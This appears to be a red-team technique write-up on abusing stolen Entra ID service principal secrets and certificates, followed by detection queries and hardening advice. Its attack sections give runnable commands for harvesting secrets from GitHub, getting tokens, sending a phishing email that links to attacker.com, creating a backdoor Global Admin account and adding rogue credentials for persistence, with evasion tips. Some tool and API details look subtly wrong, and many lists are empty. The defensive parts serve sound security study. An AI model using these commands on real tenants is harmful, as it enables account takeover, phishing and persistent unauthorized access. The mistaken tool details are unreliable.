| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-005 |
| MITRE ATT&CK v18.1 | T1550.001 - Use Alternate Authentication Material: Application Access Token |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Entra ID, Azure Resources, M365, SaaS Applications |
| Severity | Critical |
| CVE | N/A (Design feature; misconfigurations exploited) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Entra ID (all versions), Azure SDK 1.0+ |
| Patched In | Not applicable; requires policy hardening and RBAC restrictions |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Service Principals in Entra ID are applications that can authenticate to Azure/Entra ID and other cloud services using cryptographic credentials (either a client secret [password] or a certificate). Unlike user accounts that use passwords, service principals authenticate using OAuth 2.0 client credentials flow (grant_type=client_credentials). If a service principal’s credential (secret or certificate) is compromised, an attacker can:
Service principals are particularly dangerous targets because:
Attack Surface:
Business Impact: Unrestricted access to cloud infrastructure and data. An attacker with service principal credentials can:
Technical Context: Service principal authentication is fast (no MFA check) and leaves minimal logs compared to user authentication. Access tokens remain valid for 1 hour, allowing significant dwell time.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.1, 6.2 | Service principal least privilege and secret management. |
| DISA STIG | Azure_AD-2.2, Azure_AppReg-1 | Application credentials and permission management. |
| CISA SCuBA | APPS-02, APPS-03 | Application identity security and credential management. |
| NIST 800-53 | AC-2, AC-3, IA-4 | Account management, access enforcement, identifier management. |
| GDPR | Art. 32 | Security of processing; credential protection. |
| DORA | Art. 9, Art. 11 | Protection and prevention, protection of data and systems. |
| NIS2 | Art. 21 | Cyber risk management measures, credentials and access control. |
| ISO 27001 | A.6.2.1, A.9.2.1 | Access control, user registration and de-registration. |
| ISO 27005 | Risk: Unauthorized access via compromised service principal credentials | Unrestricted access to cloud infrastructure |
Supported Versions:
Tools:
Check what service principals are available and their permissions:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.Read.All"
# List all service principals in tenant
Get-MgServicePrincipal | Select-Object DisplayName, AppId, CreatedDateTime | Format-Table
# Find service principals with high-risk permissions
Get-MgServicePrincipal | Where-Object {
$principal = $_
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $principal.Id |
Where-Object {$_.AppRoleId -match "Directory.ReadWrite|User.ReadWrite|Mail.Send|Admin"}
} | Select-Object DisplayName, AppId
What to Look For:
Directory.ReadWrite.All or User.ReadWrite.All (can modify any user/group).Mail.Send or Mail.ReadWrite (can send emails as users).Version Note:
Identify which service principals have exposed credentials:
# Check for service principals with client secrets (versus certificates)
Get-MgApplication | ForEach-Object {
$appId = $_.AppId
$keyCount = ($_.KeyCredentials | Measure-Object).Count
$secretCount = ($_.PasswordCredentials | Measure-Object).Count
if ($secretCount -gt 0 -or $keyCount -gt 0) {
Write-Host "App: $($_.DisplayName), Secrets: $secretCount, Certificates: $keyCount"
}
}
# Check for service principals with credentials expiring soon
Get-MgServicePrincipal | ForEach-Object {
$sp = $_
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $sp.Id |
Where-Object {$_.EndDateTime -lt (Get-Date).AddDays(30)} |
Select-Object @{Name="ServicePrincipal"; Expression={$sp.DisplayName}}, EndDateTime
}
What to Look For:
Supported Versions: All Entra ID versions
Objective: Identify and acquire a compromised or accessible service principal secret.
Sources of Exposure:
client_id and client_secret)Example (Finding exposed secrets):
# Search GitHub for exposed Azure secrets
curl -s "https://api.github.com/search/code?q=client_secret+language:json" | jq
curl -s "https://api.github.com/search/code?q=azure_client_secret" | jq
# Or use TruffleHog for local scanning
trufflehog github --org "target-org"
trufflehog filesystem /path/to/code
Expected Output (if credentials found):
{
"client_id": "12345678-1234-1234-1234-123456789012",
"client_secret": "abc123def456~ghi789jklmno",
"tenant_id": "87654321-4321-4321-4321-210987654321"
}
What This Means:
OpSec & Evasion:
Objective: Use the service principal credentials to obtain an access token.
Command (Using Azure CLI):
az login --service-principal -u "<client_id>" -p "<client_secret>" --tenant "<tenant_id>"
Command (Using PowerShell Microsoft Graph):
$clientId = "12345678-1234-1234-1234-123456789012"
$clientSecret = "abc123def456~ghi789jklmno"
$tenantId = "87654321-4321-4321-4321-210987654321"
# Convert secret to secure string
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
# Create credential object
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)
# Connect to Microsoft Graph
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
Command (Using Python Azure SDK):
from azure.identity import ClientSecretCredential
from azure.mgmt.subscription import SubscriptionClient
client_id = "12345678-1234-1234-1234-123456789012"
client_secret = "abc123def456~ghi789jklmno"
tenant_id = "87654321-4321-4321-4321-210987654321"
# Create credential
credential = ClientSecretCredential(
client_id=client_id,
client_secret=client_secret,
tenant_id=tenant_id
)
# Get access token
token = credential.get_token("https://graph.microsoft.com/.default")
print(f"Access Token: {token.token[:50]}...")
Command (Using curl - Direct OAuth2):
curl -X POST \
-d "client_id=12345678-1234-1234-1234-123456789012" \
-d "client_secret=abc123def456~ghi789jklmno" \
-d "grant_type=client_credentials" \
-d "scope=https://graph.microsoft.com/.default" \
"https://login.microsoftonline.com/87654321-4321-4321-4321-210987654321/oauth2/v2.0/token"
Expected Output (on success):
{
"token_type": "Bearer",
"expires_in": 3599,
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc..."
}
or (PowerShell):
Welcome To Microsoft Graph!
What This Means:
OpSec & Evasion:
ServicePrincipalSignInActivity).Objective: Leverage the access token to perform malicious actions.
Command (List all users in Entra ID):
curl -X GET \
-H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/users" | jq
Command (Modify user’s primary email):
curl -X PATCH \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"mail":"attacker@domain.com"}' \
"https://graph.microsoft.com/v1.0/users/<user_id>"
Command (Send email as user):
curl -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"message": {
"subject": "Meeting Tomorrow",
"body": {"contentType": "HTML", "content": "Click here: <a href=\"https://attacker.com/phish\">Confirm Meeting</a>"},
"toRecipients": [{"emailAddress": {"address": "victim@domain.com"}}]
},
"saveToSentItems": "false"
}' \
"https://graph.microsoft.com/v1.0/me/sendMail"
Command (Create new user in Entra ID):
curl -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"accountEnabled": true,
"displayName": "Backdoor Admin",
"mailNickname": "backdoor",
"userPrincipalName": "backdoor@domain.onmicrosoft.com",
"passwordProfile": {
"forceChangePasswordNextSignIn": false,
"password": "Backdoor123!@#"
}
}' \
"https://graph.microsoft.com/v1.0/users"
Command (Assign Global Admin role to backdoor user):
curl -X POST \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<backdoor_user_id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10"
}' \
"https://graph.microsoft.com/v1.0/directoryRoles/<global_admin_role_id>/members"
Expected Output (list users):
{
"value": [
{
"id": "user1-id",
"displayName": "Admin User",
"mail": "admin@domain.com",
"userType": "Member"
},
{...}
]
}
What This Means:
References & Proofs:
Supported Versions: All Entra ID versions (certificates preferred for security)
Objective: Acquire the certificate and private key for service principal.
Sources of Exposure:
.pfx files in shared locationsExample (Extract from Key Vault):
# Connect to Azure with initial credentials
Connect-AzAccount -ServicePrincipal -Credential $credential
# Get certificate from Key Vault
$cert = Get-AzKeyVaultCertificate -VaultName "keyvault-name" -Name "cert-name"
$secret = Get-AzKeyVaultSecret -VaultName "keyvault-name" -Name $cert.Name
# Export to file
$secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText)
[System.IO.File]::WriteAllBytes("C:\temp\sp_cert.pfx", $secretBytes)
Expected Output:
C:\temp\sp_cert.pfx (file created)
Objective: Use certificate to obtain access token.
Command (Using Azure CLI):
az login --service-principal -u "<client_id>" \
--cert-file "sp_cert.pfx" --password "cert_password" \
--tenant "<tenant_id>"
Command (Using PowerShell):
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("C:\temp\sp_cert.pfx", "cert_password")
$clientId = "12345678-1234-1234-1234-123456789012"
$tenantId = "87654321-4321-4321-4321-210987654321"
# Create certificate-based credential
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $clientId, (ConvertTo-SecureString -String "dummy" -AsPlainText -Force)
# Connect to Microsoft Graph with certificate
Connect-MgGraph -TenantId $tenantId -Certificate $cert -ClientId $clientId
Expected Output:
Welcome To Microsoft Graph!
What This Means:
Supported Versions: All Entra ID versions
Objective: Identify service principals that own other service principals (escalation path).
Command:
# Find service principals and their owners
$sps = Get-MgServicePrincipal -All
foreach ($sp in $sps) {
$owners = Get-MgServicePrincipalOwner -ServicePrincipalId $sp.Id
if ($owners) {
foreach ($owner in $owners) {
Write-Host "Service Principal: $($sp.DisplayName), Owner: $($owner.DisplayName) (Type: $($owner.OdataType))"
# Check if owner is another service principal (escalation opportunity)
if ($owner.OdataType -eq "#microsoft.graph.servicePrincipal") {
Write-Host " *** ESCALATION PATH: $($owner.DisplayName) owns $($sp.DisplayName) ***"
}
}
}
}
Expected Output:
Service Principal: App-A, Owner: App-B (Type: #microsoft.graph.servicePrincipal)
*** ESCALATION PATH: App-B owns App-A ***
Service Principal: App-B, Owner: Admin User (Type: #microsoft.graph.user)
What This Means:
Objective: Add attacker’s own credentials to an owned service principal (persistence).
Command:
# Get the service principal that we own
$targetSP = Get-MgServicePrincipal -Filter "displayName eq 'Target-App'"
# Create a new client secret for the target service principal
$secret = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id
Write-Host "New Secret Created!"
Write-Host "ServicePrincipal: $($targetSP.DisplayName)"
Write-Host "ClientId: $($targetSP.AppId)"
Write-Host "ClientSecret: $($secret.SecretText)"
Expected Output:
New Secret Created!
ServicePrincipal: Target-App
ClientId: 87654321-4321-4321-4321-210987654321
ClientSecret: xyz789abc456~def123ghi
What This Means:
References & Proofs:
Command (GraphRunner simulation):
# Install GraphRunner
git clone https://github.com/dorkostyle/GraphRunner.git
cd GraphRunner
python graphrunner.py
# Simulate service principal authentication
./graphrunner.py --clientid "CLIENT_ID" --clientsecret "CLIENT_SECRET" --tenantid "TENANT_ID" --enumerate-users
Version: 2.0+ Supported Platforms: Windows, Linux, macOS (PowerShell 7+)
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Usage (Service Principal Auth):
$clientId = "client-id"
$clientSecret = "client-secret"
$tenantId = "tenant-id"
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $secureSecret)
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
Version: 2.50.0+ Supported Platforms: Windows, Linux, macOS
Usage:
az login --service-principal -u "client-id" -p "client-secret" --tenant "tenant-id"
az ad user list
az ad user update --id "user-id" --mail "attacker@domain.com"
Version: Latest Supported Platforms: Linux (Python 3.8+)
Installation:
git clone https://github.com/dorkostyle/GraphRunner.git
cd GraphRunner
pip install -r requirements.txt
Usage:
python graphrunner.py --clientid "CLIENT_ID" --clientsecret "CLIENT_SECRET" --tenantid "TENANT_ID" --enumerate-users
Rule Configuration:
KQL Query:
AuditLogs
| where ServicePrincipalName != ""
| where OperationName in ("Create user", "Update user", "Add member to group", "Create application", "Update application")
| summarize ActionCount = count() by ServicePrincipalName, OperationName, bin(TimeGenerated, 5m)
| where ActionCount > 5
| project TimeGenerated, ServicePrincipalName, OperationName, ActionCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Entra ID - Suspicious Service Principal ActivityHighKQL Query:
AuditLogs
| where OperationName in ("Add credentials to application", "Update service principal")
| where ActivityDisplayName contains "credential" or ActivityDisplayName contains "secret"
| project TimeGenerated, InitiatedBy, TargetResources, Result
What This Detects:
Event ID: N/A (Cloud-Only)
Implement Service Principal Secret Rotation: Rotate credentials every 90 days to limit exposure window.
Manual Steps (Entra ID):
Use Certificates Instead of Secrets: Certificates are more secure than secrets; prefer certificate-based authentication.
Manual Steps:
Enforce Service Principal Least Privilege: Assign only permissions the service principal actually needs.
Manual Steps:
Directory.ReadWrite.All if only need Mail.Send)Mail.Send instead of Mail.ReadWrite)Delegated permissions (only use Application permissions for service principals)Restrict Service Principal Creation and Ownership: Prevent unauthorized creation of new service principals.
Manual Steps (Entra ID Role-Based Access Control):
Audit All Service Principal Usage: Log every service principal authentication and API call.
Manual Steps (Entra ID Audit Logs):
ServicePrincipalSignInActivityAdd credentials to applicationUpdate service principalImplement Conditional Access for Service Principals: Restrict service principal authentication from specific locations/networks.
Manual Steps:
Restrict Service Principal AccessStore Secrets in Azure Key Vault: Never hardcode secrets in code; use Key Vault for secure storage.
Manual Steps:
Implement Service Principal Governance: Audit and remove unused service principals.
Manual Steps:
Monitor Service Principal Privilege Changes: Alert when service principal gains new permissions.
Manual Steps (Graph API query):
# Get all service principals with high-risk permissions
Get-MgServicePrincipal -All | Where-Object {
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id) |
Where-Object {$_.PrincipalDisplayName -match "admin|owner|writer"}
}
# Check service principal credential age
Get-MgApplication | ForEach-Object {
$app = $_
$pwCreds = Get-MgApplicationPasswordCredential -ApplicationId $app.Id |
Where-Object {(Get-Date) - $_.StartDateTime -gt [TimeSpan]::FromDays(90)}
if ($pwCreds) {
Write-Host "❌ RISK: App '$($app.DisplayName)' has credentials older than 90 days"
} else {
Write-Host "✓ App '$($app.DisplayName)' has recent credentials"
}
}
# Check for overprivileged service principals
Get-MgServicePrincipal -All | ForEach-Object {
$sp = $_
$dangerousPerms = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id |
Where-Object {$_.AppRoleId -match "Directory.ReadWrite|User.ImpersonateAll"}
if ($dangerousPerms) {
Write-Host "❌ RISK: Service Principal '$($sp.DisplayName)' has dangerous permissions"
}
}
# Check if secrets are stored in Key Vault
$secrets = Get-AzKeyVaultSecret -VaultName "your-keyvault"
Write-Host "✓ Secrets stored in Key Vault: $($secrets.Count)"
Expected Output (If Secure):
✓ App 'GraphRunner' has recent credentials
✓ App 'Teams Integration' has recent credentials
✓ Secrets stored in Key Vault: 5
What to Look For:
Directory.ReadWrite.All or User.ImpersonateAll.pfx or .cer files with service principal certificatesServicePrincipalSignInActivity from unusual IPAdd member to group by service principal (bulk user modifications)Create application by service principal (new backdoor)# Revoke all credentials for compromised service principal
Remove-MgApplicationPassword -ApplicationId "<app_id>" -PasswordCredentialId "<credential_id>"
# Or remove the entire service principal if too high-risk
Remove-MgServicePrincipal -ServicePrincipalId "<sp_id>"
Manual:
# Export audit logs showing service principal activity
Get-MgAuditLogDirectoryAudit -Filter "servicePrincipalName eq 'compromised-app'" | Export-Csv audit.csv
# Create new service principal to replace compromised one
New-MgApplication -DisplayName "Replacement-Service-Principal" |
New-MgServicePrincipal -AppId $_.AppId
# Assign same permissions to new service principal
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth | Attacker tricks user into granting app permissions |
| 2 | Credential Access | [CA-UNSC-010] Service Principal Secrets | Attacker finds hardcoded secrets in GitHub |
| 3 | Current Step | [LM-AUTH-005] | Attacker authenticates as service principal |
| 4 | Privilege Escalation | [PE-ACCTMGMT-001] App Reg Permissions | Attacker elevates service principal to Global Admin role |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Attacker creates backdoor admin account |
| 6 | Impact | Data Exfiltration | Attacker exports all tenant data via Graph API |